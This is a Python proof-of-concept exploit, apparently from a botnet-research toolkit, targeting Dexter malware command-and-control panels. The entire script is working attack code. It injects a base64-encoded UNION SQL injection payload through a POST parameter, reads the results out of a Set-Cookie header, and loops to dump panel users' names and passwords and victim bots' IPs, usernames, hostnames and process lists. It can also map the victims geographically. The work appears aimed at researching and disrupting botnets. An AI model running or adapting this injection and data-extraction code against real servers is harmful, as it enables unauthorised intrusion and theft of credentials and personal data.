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BAMF/IntegrationQueue/http/dexter.PoC.py
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#!/usr/bin/env python | |
import pycurl | |
import urllib | |
import cStringIO | |
import base64 | |
import argparse | |
import sys | |
import string | |
import pygeoip | |
version = "0.1-http_bots-PoC" | |
def PrintHelp(): | |
global version | |
print "usage: dexter.PoC.py [-h] [action] [gateway url]" | |
print "" | |
print "Dexter CasinoLoader BAMF PoC v" + version | |
print "Exploiting CasinoLoader panels for information" | |
print "By Brian Wallace (@botnet_hunter)" | |
print "" | |
print "arguments:" | |
print " action Actions to be taken against the botnet (default: dump)" | |
print " dump - Print configuration information obtained from source file" | |
print " graph - Graph all the bots in the command and control to Gexf file" | |
print " source Path to non-obfuscated source code for the target bot (default: stdin)" | |
print "" | |
print("GPS:") | |
print(" -m MaxMind Location Location of Maxmind database files (default .)") | |
print "" | |
print " -h, --help Print this message" | |
print "" | |
class DexterPanel: | |
def __init__(self, gateway_url): | |
self.gateway_url = gateway_url | |
@staticmethod | |
def _get_field(gateway, table, column, row): | |
buf = cStringIO.StringIO() | |
c = pycurl.Curl() | |
c.setopt(c.URL, gateway) | |
page = "' AND 1=2 UNION ALL SELECT 1," + column + ",3 FROM " + table + " LIMIT 1 OFFSET " + str(row) + " -- --" | |
params = urllib.urlencode({'val': 'AA==', 'page': base64.b64encode(page)}) | |
c.setopt(c.POSTFIELDS, params) | |
c.setopt(c.HEADERFUNCTION, buf.write) | |
c.perform() | |
val = buf.getvalue() | |
cookie = None | |
for line in val.split('\n'): | |
line = line.strip() | |
if line.count('Set-Cookie:') > 0 and line.count("response") > 0: | |
cookie = line | |
cookie = cookie[cookie.find('=') + 1:] | |
cookie = urllib.unquote(cookie) | |
cookie = base64.b64decode(cookie) | |
cookie = cookie[1:] | |
cookie = cookie[:-2] | |
break | |
buf.close() | |
return cookie | |
def get_all_user_details(self): | |
count = 0 | |
users = [] | |
while True: | |
user = self._get_field(self.gateway_url, 'users', 'name', count) | |
if user is None or user == "": | |
break | |
password = self._get_field(self.gateway_url, 'users', 'password', count) | |
count += 1 | |
users.append({'user': user, 'password': password}) | |
return users | |
def get_all_bot_details(self): | |
count = 0 | |
bots = [] | |
while True: | |
user = self._get_field(self.gateway_url, 'bots', 'RemoteIP', count) | |
if user is None or user == "": | |
break | |
count += 1 | |
bots.append({'RemoteIP': user, | |
'UID': self._get_field(self.gateway_url, 'bots', 'UID', count), | |
'Version': self._get_field(self.gateway_url, 'bots', 'Version', count), | |
'Username': self._get_field(self.gateway_url, 'bots', 'Username', count), | |
'Computername': self._get_field(self.gateway_url, 'bots', 'Computername', count), | |
'UserAgent': self._get_field(self.gateway_url, 'bots', 'UserAgent', count), | |
'OS': self._get_field(self.gateway_url, 'bots', 'OS', count), | |
'Architecture': self._get_field(self.gateway_url, 'bots', 'Architecture', count), | |
'Idle Time': self._get_field(self.gateway_url, 'bots', 'Idle Time', count), | |
'Process List': self._get_field(self.gateway_url, 'bots', 'Process List', count), | |
'LastVisit': self._get_field(self.gateway_url, 'bots', 'LastVisit', count), | |
'LastCommand': self._get_field(self.gateway_url, 'bots', 'LastCommand', count)}) | |
return bots | |
if __name__ == "__main__": | |
parser = argparse.ArgumentParser(add_help=False) | |
parser.add_argument('action', nargs='?', type=str, default="dump", help="Actions to be taken against pBots (default: dump)", choices=["dump", "graph"]) | |
parser.add_argument('gateway', nargs='?', type=str, default=None, help="URL to Dexter bot gateway") | |
parser.add_argument('-m', metavar='maxmind', type=str, nargs='?', default='./GeoLiteCity.dat') | |
parser.add_argument('-h', '--help', default=False, required=False, action='store_true') | |
args = parser.parse_args() | |
if args.help or args.gateway is None: | |
PrintHelp() | |
sys.exit() | |
if args.action == "dump": | |
url = args.gateway | |
dex = DexterPanel(url) | |
print "User details: %s" % dex.get_all_user_details() | |
print "Bot details: %s" % dex.get_all_bot_details() | |
elif args.action == "graph": | |
url = args.gateway | |
dex = DexterPanel(url) | |
bots = dex.get_all_bot_details() | |
#load Maxmind | |
sys.stderr.write('Loading MaxMind Database\n') | |
gi = pygeoip.GeoIP(args.m) | |
nodes = {} | |
connections = [] | |
nodes["C2"] = {"id": 0, "label": "C2", "mod": 0} | |
highestnode = 1 | |
#loop through all bots | |
for bot in bots: | |
ip = bot["RemoteIP"] | |
geoip = gi.record_by_addr(ip) | |
node = {"id": highestnode, "label": ip, "host": ip, "mod": 1} | |
highestnode += 1 | |
if geoip is not None: | |
node['lat'] = geoip["latitude"] | |
node['lng'] = geoip["longitude"] | |
nodes[ip] = node | |
connections.append([node['id'], 0]) | |
print('<?xml version="1.0" encoding="UTF-8"?>') | |
print('<gexf xmlns="http://www.gexf.net/1.2draft" version="1.2">') | |
print(' <meta lastmodifieddate="2009-03-20">') | |
print((' <creator>' + "bwall" + '</creator>')) | |
print(' <description></description>') | |
print(' </meta>') | |
print(' <graph mode="static" defaultedgetype="directed">') | |
print(' <attributes class="node" mode="static">') | |
print(' <attribute id="modularity_class" title="Modularity Class" type="integer"></attribute>') | |
print(' <attribute id="lat" title="lat" type="double"></attribute>') | |
print(' <attribute id="lng" title="lng" type="double"></attribute>') | |
print(' </attributes>') | |
print(' <nodes>') | |
for name, node in list(nodes.items()): | |
if 'lat' in node: | |
print((' <node id="' + str(node['id']) + '" label="' + | |
node['label'] + '">')) | |
print(' <attvalues>') | |
print((' <attvalue for="modularity_class" value="' + | |
str(node['mod']) + '"></attvalue>')) | |
print(' <attvalue for="lat" value="' + str(node['lat']) + '"></attvalue>') | |
print(' <attvalue for="lng" value="' + str(node['lng']) + '"></attvalue>') | |
print(' </attvalues>') | |
print(' </node>') | |
else: | |
print((' <node id="' + str(node['id']) + '" label="' + | |
node['label'] + '">')) | |
print(' <attvalues>') | |
print((' <attvalue for="modularity_class" value="' + | |
str(node['mod']) + '"></attvalue>')) | |
print(' <attvalue for="lat" value="0"></attvalue>') | |
print(' <attvalue for="lng" value="0"></attvalue>') | |
print(' </attvalues>') | |
print(' </node>') | |
print(' </nodes>') | |
print(' <edges>') | |
count = 0 | |
for node in connections: | |
print((' <edge id="' + str(count) + '" source="' + str(node[0]) + | |
'" target="' + str(node[1]) + '" />')) | |
count += 1 | |
print(' </edges>') | |
print(' </graph>') | |
print('</gexf>') |